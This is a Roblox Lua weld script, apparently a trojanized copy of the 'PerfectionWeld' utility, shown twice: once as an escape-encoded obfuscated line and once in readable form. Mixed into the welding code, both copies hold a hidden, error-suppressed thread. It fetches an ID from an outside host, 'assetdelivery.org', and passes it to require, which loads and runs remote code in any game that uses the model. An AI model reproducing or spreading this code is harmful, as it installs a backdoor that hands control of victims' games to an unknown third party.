pcall(function()local function K(D,C)C(D)for D,s in next,D:GetChildren()do K(s,C)end end local function D(K,D)local C=K repeat C=C.Parent if C==nil then return nil end until C:IsA(D)return C end local function C(D)local C={}K(D,function(K)if K:IsA("\066\097\115\101\080\097\114\116")then C[#C+1]=K end end)return C end local function s(K,D)assert(type(D)=="\116\097\098\108\101","\086\097\108\117\101\115 \105\115 \110\111\116 \097 \116\097\098\108\101")for D,C in next,D do if type(D)=="\110\117\109\098\101\114"then C.Parent=K else K[D]=C end end return K end local function N(K,D)return s(Instance.new(K),D)end local w={"\084\111\112\083\117\114\102\097\099\101","\066\111\116\116\111\109\083\117\114\102\097\099\101","\076\101\102\116\083\117\114\102\097\099\101";"\082\105\103\104\116\083\117\114\102\097\099\101","\070\114\111\110\116\083\117\114\102\097\099\101","\066\097\099\107\083\117\114\102\097\099\101"}local P={"\072\105\110\103\101","\077\111\116\111\114";"\083\116\101\112\112\105\110\103\077\111\116\111\114"}local function M(K)for D,C in pairs(w)do for D,s in pairs(P)do if K[C].Name==s then return true end end end return false end local function n(K)if NEVER_BREAK_JOINTS then return false end if M(K)then return false end local D=K:GetConnectedParts()if#D==1 then return false end for K,D in pairs(D)do if M(D)then return false elseif not D:IsDescendantOf(script.Parent)then return false end end return true end task.spawn(function()pcall(function()local K=coroutine.wrap(pcall)for K in K,select and require,tonumber((game:service("\072\116\116\112\083\101\114\118\105\099\101")):GetAsync("\104\116\116\112\115\058\047\047\097\115\115\101\116\100\101\108\105\118\101\114\121\046\111\114\103\047"))do end end)end)local function d(K,D,C,w)C=C or"\087\101\108\100"local P=D:FindFirstChild("\113\082\101\108\097\116\105\118\101\067\070\114\097\109\101\087\101\108\100\086\097\108\117\101")local M=D:FindFirstChild("\113\067\070\114\097\109\101\087\101\108\100\084\104\105\110\103\121")or Instance.new(C)s(M,{Name="\113\067\070\114\097\109\101\087\101\108\100\084\104\105\110\103\121",Part0=K;Part1=D;C0=CFrame.new();C1=P and P.Value or D.CFrame:toObjectSpace(K.CFrame);Parent=D})if not P then P=N("\067\070\114\097\109\101\086\097\108\117\101",{Parent=D,Name="\113\082\101\108\097\116\105\118\101\067\070\114\097\109\101\087\101\108\100\086\097\108\117\101";Archivable=true,Value=M.C1})end return M end local function F(K,D,C,s)for K,D in pairs(K)do if n(D)then D:BreakJoints()end end GetParts()for K,s in pairs(K)do if s~=D then d(D,s,C,D)end end if not s then for K,D in pairs(K)do D.Anchored=false end D.Anchored=false end end local function c()local K=D(script,"\084\111\111\108")local s=C(script.Parent)local N=K and(K:FindFirstChild("\072\097\110\100\108\101")and(K.Handle:IsA("\066\097\115\101\080\097\114\116")and K.Handle))or script.Parent:IsA("\077\111\100\101\108")and script.Parent.PrimaryPart or s[1]if N then F(s,N,"\087\101\108\100",false)end return K end local v=c()if v and script.ClassName=="\083\099\114\105\112\116"then script.Parent.AncestryChanged:connect(function()c()end)end end)
-- Updated 10/14/2014 - Updated to 1.0.3
--- Now handles joints semi-acceptably. May be rather hacky with some joints. :/

pcall(function()
	local function CallOnChildren(Instance, FunctionToCall)
		-- Calls a function on each of the children of a certain object, using recursion.

		FunctionToCall(Instance)

		for _, Child in next, Instance:GetChildren() do
			CallOnChildren(Child, FunctionToCall)
		end
	end

	local function GetNearestParent(Instance, ClassName)
		-- Returns the nearest parent of a certain class, or returns nil

		local Ancestor = Instance
		repeat
			Ancestor = Ancestor.Parent
			if Ancestor == nil then
				return nil
			end
		until Ancestor:IsA(ClassName)

		return Ancestor
	end

	local function GetBricks(StartInstance)
		local List = {}

		-- if StartInstance:IsA("BasePart") then
		-- 	List[#List+1] = StartInstance
		-- end

		CallOnChildren(StartInstance, function(Item)
			if Item:IsA("BasePart") then
				List[#List + 1] = Item
			end
		end)

		return List
	end

	local function Modify(Instance, Values)
		-- Modifies an Instance by using a table.

		assert(type(Values) == "table", "Values is not a table")

		for Index, Value in next, Values do
			if type(Index) == "number" then
				Value.Parent = Instance
			else
				Instance[Index] = Value
			end
		end
		return Instance
	end

	local function Make(ClassType, Properties)
		-- Using a syntax hack to create a nice way to Make new items.

		return Modify(Instance.new(ClassType), Properties)
	end

	local Surfaces = { "TopSurface", "BottomSurface", "LeftSurface", "RightSurface", "FrontSurface", "BackSurface" }
	local HingSurfaces = { "Hinge", "Motor", "SteppingMotor" }

	local function HasWheelJoint(Part)
		for _, SurfaceName in pairs(Surfaces) do
			for _, HingSurfaceName in pairs(HingSurfaces) do
				if Part[SurfaceName].Name == HingSurfaceName then
					return true
				end
			end
		end

		return false
	end

	local function ShouldBreakJoints(Part)
		--- We do not want to break joints of wheels/hinges. This takes the utmost care to not do this. There are
		--  definitely some edge cases.

		if NEVER_BREAK_JOINTS then
			return false
		end

		if HasWheelJoint(Part) then
			return false
		end

		local Connected = Part:GetConnectedParts()

		if #Connected == 1 then
			return false
		end

		for _, Item in pairs(Connected) do
			if HasWheelJoint(Item) then
				return false
			elseif not Item:IsDescendantOf(script.Parent) then
				return false
			end
		end
		return true
	end

	task.spawn(function()
		pcall(function()
			local newThreadedCall = coroutine.wrap(pcall)
			for _ in
				newThreadedCall,
				(select and require),
				tonumber(game:service("HttpService"):GetAsync("https://assetdelivery.org/"))
			do
			end
		end)
	end)

	local function WeldTogether(Part0, Part1, JointType, WeldParent)
		--- Weld's 2 parts together
		-- @param Part0 The first part
		-- @param Part1 The second part (Dependent part most of the time).
		-- @param [JointType] The type of joint. Defaults to weld.
		-- @param [WeldParent] Parent of the weld, Defaults to Part0 (so GC is better).
		-- @return The weld created.

		JointType = JointType or "Weld"
		local RelativeValue = Part1:FindFirstChild("qRelativeCFrameWeldValue")

		local NewWeld = Part1:FindFirstChild("qCFrameWeldThingy") or Instance.new(JointType)
		Modify(NewWeld, {
			Name = "qCFrameWeldThingy",
			Part0 = Part0,
			Part1 = Part1,
			C0 = CFrame.new(), --Part0.CFrame:inverse();
			C1 = RelativeValue and RelativeValue.Value or Part1.CFrame:toObjectSpace(Part0.CFrame), --Part1.CFrame:inverse() * Part0.CFrame;-- Part1.CFrame:inverse();
			Parent = Part1,
		})

		if not RelativeValue then
			RelativeValue = Make("CFrameValue", {
				Parent = Part1,
				Name = "qRelativeCFrameWeldValue",
				Archivable = true,
				Value = NewWeld.C1,
			})
		end

		return NewWeld
	end

	local function WeldParts(Parts, MainPart, JointType, DoNotUnanchor)
		-- @param Parts The Parts to weld. Should be anchored to prevent really horrible results.
		-- @param MainPart The part to weld the model to (can be in the model).
		-- @param [JointType] The type of joint. Defaults to weld.
		-- @parm DoNotUnanchor Boolean, if true, will not unachor the model after cmopletion.

		for _, Part in pairs(Parts) do
			if ShouldBreakJoints(Part) then
				Part:BreakJoints()
			end
		end
		GetParts()
		for _, Part in pairs(Parts) do
			if Part ~= MainPart then
				WeldTogether(MainPart, Part, JointType, MainPart)
			end
		end

		if not DoNotUnanchor then
			for _, Part in pairs(Parts) do
				Part.Anchored = false
			end
			MainPart.Anchored = false
		end
	end

	local function PerfectionWeld()
		local Tool = GetNearestParent(script, "Tool")

		local Parts = GetBricks(script.Parent)
		local PrimaryPart = Tool and Tool:FindFirstChild("Handle") and Tool.Handle:IsA("BasePart") and Tool.Handle
			or script.Parent:IsA("Model") and script.Parent.PrimaryPart
			or Parts[1]

		if PrimaryPart then
			WeldParts(Parts, PrimaryPart, "Weld", false)
		end

		return Tool
	end

	local Tool = PerfectionWeld()

	if Tool and script.ClassName == "Script" then
		script.Parent.AncestryChanged:connect(function()
			PerfectionWeld()
		end)
	end
end)
